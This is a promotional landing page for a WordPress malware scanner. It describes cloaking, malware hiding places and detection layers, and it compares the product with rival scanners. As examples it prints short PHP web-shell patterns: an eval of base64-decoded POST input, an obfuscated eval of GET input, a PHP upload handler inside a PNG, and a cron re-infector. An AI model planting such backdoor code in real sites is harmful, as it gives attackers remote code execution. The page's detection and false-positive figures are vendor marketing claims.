Finds the malwareevery other scanner misses.

Other scanners match files against a list of known malware. MalCare reads your entire site — every file, table and cron — and judges code by what it does. Off your server, so it never feels a thing.

Scan My Site — Free →How it works
No plugin · no signup/~60s results/0.2% false positives
Trusted by 400,000+ sites · 120 countries
The problem

Malware's first job is staying hidden.

The same page, two faces: healthy for you, infected for Google. Drag the line.

What you see · adminWhat Google sees
Expand · how cloaking actually works +

Cloaked malware inspects each request before responding — user-agent (is this Googlebot?), cookies (is this a logged-in admin?), referrer (did they arrive from a search result?), even IP ranges. Admins get the clean page; everyone else gets redirects, spam, or a phishing kit.

This is why remote scanners that fetch your homepage from outside can't see it: they're shown exactly what you're shown. The only reliable way to find cloaked malware is to read the actual files and database — which is what MalCare does, on every scan.

43.5%
of hacks found too late

Damage happens before detection

Nearly half of WordPress hacks are discovered only after the damage is already done.

180
days hidden · average

Malware is built to stay quiet

That is the average time malware remains on a site before anyone notices.

Where it lives

Malware can hide anywhere. So we scan everything.

Every file, every database table, every scheduled task — including the places other scanners never open: fake plugins, PHP hidden inside images, and cron jobs that re-infect your site.

Your files — plugins, themes, uploads

12,847 files · every line
The filesystem, drawn as a section through the siteFour strata, each as deep as the number of files it holds: core 1,209 files, plugins 8,319 files, themes 1,437 files, uploads 1,882 files. The plugins stratum is divided into one cell per installed plugin. Twenty-three cells are solid; one is drawn as a void and labelled wp-compat — a plugin that exists in no repository. In the uploads stratum one file is opened in section: logo.png begins with a valid PNG header and continues as PHP./wp-admin/ · /wp-includes/1,209 files · checksums verified/wp-content/plugins/8,319 files · 24 pluginsincl. premium & non-repo/wp-content/themes/1,437 files · 3 themes/wp-content/uploads/1,882 files · media‰PNG<?phpwp-compat/in no repository2024/logo.pngPHP after the header

Your database — every table

41 tables · incl. 2 custom
The database, drawn as stacks of recordsThe whole database as one block of records, partitioned into forty-one tables, each partition as wide as its share of the site's rows — from wp_posts at 12,304 rows down to the smallest table at 22. Two partitions are drawn in blue: the site's own custom tables, read like every other. The wp_options partition is opened above the block, and inside it a single row of 8,414 is lit in red and labelled option_id 8412, an autoloaded base64 redirect.2 custom tables — read toowp_posts12,304 rowsoption_id 8412one row in 8,414 · autoload

Your cron jobs — the site's schedule

12 cron jobs · all read
The schedule, drawn as a 24-hour dialA dial marked from midnight at the top round to midnight again, carrying the site's twelve scheduled cron jobs at their real clock positions. The hours between one and five in the morning are shaded as the quiet hours. The job at 03:12, wp_check_updates, is marked in red: a re-infector that restores whatever was removed.00061218the quiet hourswp-cron12 jobs readdaily · 03:12wp_check_updatesrestores what you removed
One scan · one pass · all three12,847 files/41 tables/12 jobs — nothing skipped
Side by side

Coverage, compared.

Ten places malware actually hides, and which type of scanner reads each one. Only one column has no gaps.

Where it hidesMalCareoff-server deep scanSignature pluginsWordfence-style, on your serverRemote checkersSiteCheck-style, fetch your homepageHost scansyour web host's scanner
Core files●●○◐
Free plugin & theme files●●○◐
Premium & non-repo pluginsno public checksums to compare against●◐○○
/uploads folderexecutable PHP disguised as images●◐○○
Posts, comments & options tables●◐○○
Custom database tables●○○○
Scheduled cronswhere re-infectors live●○○○
Fake pluginsfolders that exist in no repository●◐○○
Cloaked malwareshows scanners a clean site●○○○
Unknown malwareno signature exists yet●○○○
●  Scanned◐  Partial○  Not scanned
Core files
● MalCare● Signature plugins○ Remote checkers◐ Host scans
Free plugin & theme files
● MalCare● Signature plugins○ Remote checkers◐ Host scans
Premium & non-repo pluginsno public checksums to compare against
● MalCare◐ Signature plugins○ Remote checkers○ Host scans
/uploads folderexecutable PHP disguised as images
● MalCare◐ Signature plugins○ Remote checkers○ Host scans
Posts, comments & options tables
● MalCare◐ Signature plugins○ Remote checkers○ Host scans
Custom database tables
● MalCare○ Signature plugins○ Remote checkers○ Host scans
Scheduled cronswhere re-infectors live
● MalCare○ Signature plugins○ Remote checkers○ Host scans
Fake pluginsfolders that exist in no repository
● MalCare◐ Signature plugins○ Remote checkers○ Host scans
Cloaked malwareshows scanners a clean site
● MalCare○ Signature plugins○ Remote checkers○ Host scans
Unknown malwareno signature exists yet
● MalCare○ Signature plugins○ Remote checkers○ Host scans
The method

Every scan runs three layers of detection.

Signatures catch known malware. Integrity checks catch tampered files. Behavioral analysis catches malware nobody has seen before. A threat has to get past all three.

  • 3.1Signature matchingCode is checked against a continuously updated database of known malware. Anything seen before is caught here.
  • 3.2Integrity checkingEvery core, plugin and theme file is compared against its official version. A single injected line stands out — even with no signature.
  • 3.3Behavioral analysis100+ signals judge what the code actually does: take input, decode it, execute it, persist. This is how brand-new malware gets caught.
Run all three on your site →
Reading 1 · known-malware patternswp-compat/init.php
01  // wp-compat · registered 11 days ago
02  if ( is_admin() ) return;
03  $k = $_POST['k'] ?? '';
04  eval( base64_decode( $k ) );matches known backdoor
05  $f = 'e' . 'v' . 'a' . 'l';
06  $f( $_GET['q'] );
07  @file_put_contents( '.x.php', $p );
08  wp_schedule_event( time(), 'daily', 'wp_check' );
Flagged · line 04 is on a wanted poster
Reading 2 · verified against official reposwp-compat/init.php
checking wordpress.org/plugins/wp-compat …
→ 404 · NO SUCH PLUGIN EXISTS
checking core & theme checksums …
wp-includes/ · 1,209 files · sha256 verified
themes/twentytwentyfour/ · verified
wp-load.php · expected 9f2c…e1 · actual 41b7…9a
+ ln 2041: include '/tmp/.cache.php';injected line
Flagged · foreign plugin + one modified core file
Reading 3 · what the code doeswp-compat/init.php
02  if ( is_admin() ) return;hides from admins
03  $k = $_POST['k'] ?? '';takes visitor input
05  $f = 'e' . 'v' . 'a' . 'l';reconstructs a callable
06  $f( $_GET['q'] );runs it
07  @file_put_contents( '.x.php', $p );writes a file
08  wp_schedule_event( … 'daily' … );persists via cron
Flagged · 100+ signals agree — no signature required
Off-server

A scan this deep would crush your server. So it never touches it.

Every file and every table, read on MalCare's servers — no CPU spike, no timeout, no slowdown.

  • 4.1Plugin scanners run on your serverThey fight your visitors for CPU — so they skim, sample, or slow your site down.
  • 4.2MalCare scans on our serversEvery file, table and cron is analyzed on our infrastructure. Your server just serves your site.
  • 4.3Deep scans daily, at zero cost to your siteBecause scanning costs your server nothing, we can afford to check everything, every day.
Your server's CPU · during a deep scan
on-server scanner   with MalCare
100%66%33%0%scan startsscan endstime →MalCare · baselinevisitors waiting
Same site · same scan depth · two architectures12,847 files · 41 tables · 12 crons — read elsewhere
The test — our test · July 2026

We replayed 50 real infections through every scanner.

The same 50 infected sites, given to each type of scanner. This is what each one found.

91%
MalCare
61%
Wordfence
~37%
Sucuri SiteCheck
Typical host scan —
WordPress layer: not scanned

Wordfence-style signature matching is our first layer too — that's not the difference. The gap is everything signatures can't see: malware in the database, malware in disguise, and malware too new to be on any list.

Malware is written by AI now.
Behavior gives it away.

Attackers use AI to generate thousands of disguises for the same malware — the code looks different every time, so signature lists never catch up. But every disguise still has to do the same things: take input, decode it, run it. That behavior can't be disguised, and it's what we detect.

  • Signature lists catch 2 of these 24 disguises
  • Behavioral detection catches all 24
  • Every new variant we see becomes training data
  • Retrained continuously on live infections from 400,000+ sites
Twenty-four disguises of one payload, above the one behaviour they shareA single horizontal rule divides the figure. Above it stand twenty-four skylines, one per variant of the same web shell, each built from that variant's own code — every one a different height and a different shape, and no two alike. Two carry a ring: the only two old enough to appear on a signature list. Below the rule the same twenty-four variants are drawn again, and every one of them produces the same four marks in the same four places — takes input, decodes it, executes it, writes itself back — so the lower half resolves into four perfectly regular rows of twenty-four.One payload · rewritten 24 waysThe face24 shapes2 on a listBehaviourone shapetakes inputdecodes itexecutes itwrites back
Precision

Every detection, pinned to the exact line.

You get the exact file, line, table and row. Cleanup removes precisely that — the malware goes, your content stays.

Removal manifestyoursite.com · 2026-07-28 · 14:02 UTC

  1. 01/wp-content/uploads/2024/logo.pngline 1 · byte 8Byte

    0\x89PNG\r\n\x1a\n the image's own header

    8<?php move_uploaded_file( $_FILES['f'], '.x.php' ); ?>

    8,420\x00\x00\x00\rIHDR… the picture resumes

    8,412 bytes out. The picture itself — 2,310,492 bytes — comes back byte-identical. Nothing is re-encoded.

  2. 02/wp-content/themes/twentytwentyfour/functions.phpline 41Line

    40add_action( 'init', 'theme_setup' );

    41$x = 'ev' . 'al'; $x( $_GET['k'] );

    42add_filter( 'the_content', 'wp_filter' );

    One line of 318. The 317 you wrote stay exactly where they were — same file, same order, same line numbers after 41.

  3. 03wp_optionsoption_id 8412 · autoload: yesRow

    8,411blogdescription Just another WordPress site

    8,412_transient_feed s:412:"PGRpdiBzdHlsZT0iZGlzcGxheTpub25l…"

    8,413blogname Your Site

    One row of 8,414. The row is deleted — not the table. Nothing is dropped, rebuilt or re-indexed.

  4. 04wp-cron · scheduled eventsdaily · 03:12Time

    00:00wc_cleanup_sessions hourly

    03:12wp_check_updates daily · registered by wp-compat/init.php

    06:00wp_update_plugins daily

    One job of 12. Your scheduled posts and nightly backups keep their slots — the re-infector loses its.

Removed8,412 bytes · 1 line · 1 row · 1 jobKeptevery other byte, line, row and job on the site
0.2%

False positives, across all scans

When we flag it, it's malware.

Verified

A safety check before every removal

Nothing is touched until the detection is confirmed.

In the open

No silent deletions, ever

If a detection is ambiguous, we show it to you and wait for your call.

The record

A decade of securing WordPress, built into every scan.

The scanner is trained on millions of real infections — and it keeps learning from every site it protects.

2011
The foundation
We started with BlogVault — a decade of WordPress backups, restores, and hacked-site recoveries.
THE RESEARCH
240,000+ websites · 2.5 years
The behavioral model was built by analyzing 240,000+ real sites and trained on millions of live infections.
TODAY — LIVE
Every new infection makes detection better
Malware found on any of 400,000+ protected sites improves detection for all of them — usually within hours.
0Sites protected · 120 countries
0Files scanned every day
<3Minutes to detection
0False positives · all scans
0Sites cleaned / month
The free scanner

Not sure? Know in 60 seconds.

No plugin, no signup, no credit card. Whatever we find, you'll know exactly where you stand.

MalCare · Scan Reportyoursite.com · 2026-07-28 · 14:02 UTC
Files read — every line12,847 / 12,847
Plugins & themes — incl. premium27 verified
Database tables — incl. custom41 / 41
Scheduled crons12 inspected
Readings runSignature · Integrity · Behavior
Load on your siteZero — scanned off-server
✓  Clean

Not a green checkmark — a record you can inspect.

Malware found — 2 exact locationsyoursite.com · 2026-07-28 · 14:02 UTC
/wp-content/uploads/2024/logo.pngline 1 · web shell in an imagewp_options · option_id 8412hidden redirect payload
Clean both — one click →

Surgical removal takes out the malware — never your content.

Step 1

Enter your URL

That's the whole form. No plugin, no signup, no credit card.

Step 2

We scan on our servers

Every file, table and cron gets all three layers of detection — in about 60 seconds.

Step 3

You get the verdict

A clean report you can inspect — or the exact location of every infection, with one-click cleanup a step away.

Run my free scan →Install the plugin instead

A free scan is a snapshot — the plugin adds daily deep scans and one-click removal.

In their words. Found what the others missed.

Rated 5 out of 5
I had been running iThemes, WordFence & Sucuri, but they kept getting hacked. Then I installed MalCare, which quickly found the malware and cleaned up the entire site.
Adam SilverConciergeWP · Founder
Rated 5 out of 5
I was on the beach with my family when MalCare notified me of a plugin vulnerability across 50 of my sites. With one click on my smartphone, all sites were fixed within minutes.
Paul LaceyWordPress Expert
Rated 5 out of 5
MalCare's one-click cleanup is exactly what I needed. Instead of waiting, guessing, or dealing with a complicated manual cleanup, I could clean the site quickly and get back to work.
Kristina RomeroWP Care Market · Founder
Rated 5 out of 5
Always one step ahead! Before any clients or customers have a weird experience, I get a vulnerability notification which is easily fixed with one click. Really impressed with their scanner precision!
David McCanWebTNG
Rated 5 out of 5
I first learned that my site had been taken over by malware via a message from Google Ads. MalCare now performs daily scans that show me anything that has changed in the last 24 hours and reassure me that my site is secure.
Daniel NordmarkWordPress Developer

Questions, answered straight.

Host scanners protect the host's infrastructure, not your WordPress application. The places WordPress malware actually lives — the database, plugin folders, uploads, crons — are mostly outside what they read. That's why hacked sites on "scanned" hosting are so common.
Yes. MalCare runs alongside them without conflict. Most customers add us specifically for the layers those tools don't have — off-server depth, database scanning, and behavioral detection.
No. All the heavy file and database reading happens on MalCare's servers, not yours — no CPU spike, no timeout, no slowdown of any kind.
Our false-positive rate is 0.2% across all scans, and every removal runs a safety check before anything is touched. If something is ever ambiguous, we tell you — no silent deletions.
A timestamped report of real scan depth: files checked, database tables read, and every layer that ran. Not a green checkmark — a record you can inspect.
Yes — those are exactly the places signature scanners miss. We scan every database table (including custom ones), premium and non-repo plugins, and uploads, where PHP routinely hides inside image files.
The free scan returns in about 60 seconds. On the plugin, detection typically lands in under 3 minutes, with automatic scans daily — or as often as hourly on higher plans.
You get the exact location of every detection. On paid plans, one-click cleanup removes the malware — never your content. And if Google has blacklisted you or your host suspended you, our experts help with recovery.
This page: 5 hidden · 5 found — scroll back up and look again

If it's there, we'll find it.

A full scan of every file, table and cron on our servers — and a verdict in about a minute.

Scan my site free →How the scanner works
No plugin/No credit card/Results in ~60 seconds